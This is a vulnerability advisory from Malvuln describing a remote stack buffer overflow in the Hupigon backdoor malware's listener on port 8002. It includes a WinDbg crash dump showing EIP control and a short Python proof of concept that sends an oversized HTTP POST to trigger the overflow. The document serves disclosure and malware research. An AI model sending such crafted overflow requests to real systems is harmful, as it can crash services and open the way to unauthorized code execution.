Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c8f55ce7bbec784a97d7bfc6d7b1931f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Hupigon.adef Vulnerability: Remote Stack Buffer Overflow Description: Backdoor Hupigon (Cracked by bartchen) bartchen@vip.sina.com, listens on TCP ports 8001,8002,8003,8004 and 8005. Sending a large contaminated HTTP POST request to the target on port 8002 results in a buffer overflow overwriting the instruction pointer (EIP). Type: PE32 MD5: c8f55ce7bbec784a97d7bfc6d7b1931f Vuln ID: MVID-2021-0045 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 01/21/2021 Memory Dump: (17a8.1448): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1660 ebp=000a1680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Hupigon_adef_c8f55ce7bbec784a97d7bfc6d7b1931f+16eec2 0056eec2 8b8010050000 mov eax,dword ptr [eax+510h] EXCEPTION_RECORD: 0019d7d4 -- (.exr 0x19d7d4) ExceptionAddress: 0056eec2 (Backdoor_Win32_Hupigon_adef_c8f55ce7bbec784a97d7bfc6d7b1931f+0x0016eec2) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414651 Attempt to read from address 41414651 PROCESS_NAME: Backdoor.Win32.Hupigon.adef.c8f55ce7bbec784a97d7bfc6d7b1931f.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: user32!UserCallWinProcCheckWow+0 764faf87 689c000000 push 9Ch FAILED_INSTRUCTION_ADDRESS: +0 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019d824 -- (.cxr 0x19d824) eax=41414141 ebx=0452c730 ecx=0019dc7c edx=00000000 esi=0046d060 edi=02850fd5 eip=0056eec2 esp=0019dc84 ebp=0019fce8 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 Backdoor_Win32_Hupigon_adef_c8f55ce7bbec784a97d7bfc6d7b1931f+0x16eec2: 0056eec2 8b8010050000 mov eax,dword ptr [eax+510h] ds:002b:41414651=???????? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 0056eec2 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 FRAME_ONE_INVALID: 1 STACK_TEXT: 0019dc84 0056eec2 backdoor_win32_hupigon_adef+0x16eec2 0019fcf0 41414141 unknown!printable+0x0 0019fcf4 41414141 unknown!printable+0x0 0019fdf4 764fb025 user32!UserCallWinProcCheckWow+0x9e 0019fef8 004644d8 backdoor_win32_hupigon_adef+0x644d8 0019ff64 00573179 backdoor_win32_hupigon_adef+0x173179 0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b SYMBOL_NAME: user32!UserCallWinProcCheckWow+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 000000000019D824 ; kb ; dds 19dc84 ; kb FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!UserCallWinProcCheckWow BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_user32!UserCallWinProcCheckWow+0 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=8002 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PBARBAR="POST /"+"A"*4198+"HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+"A"*4198 s.send(PBARBAR) s.close() print("Backdoor.Win32.Hupigon.adef / Remote Stack Buffer Overflow"); print("MD5: c8f55ce7bbec784a97d7bfc6d7b1931f"); print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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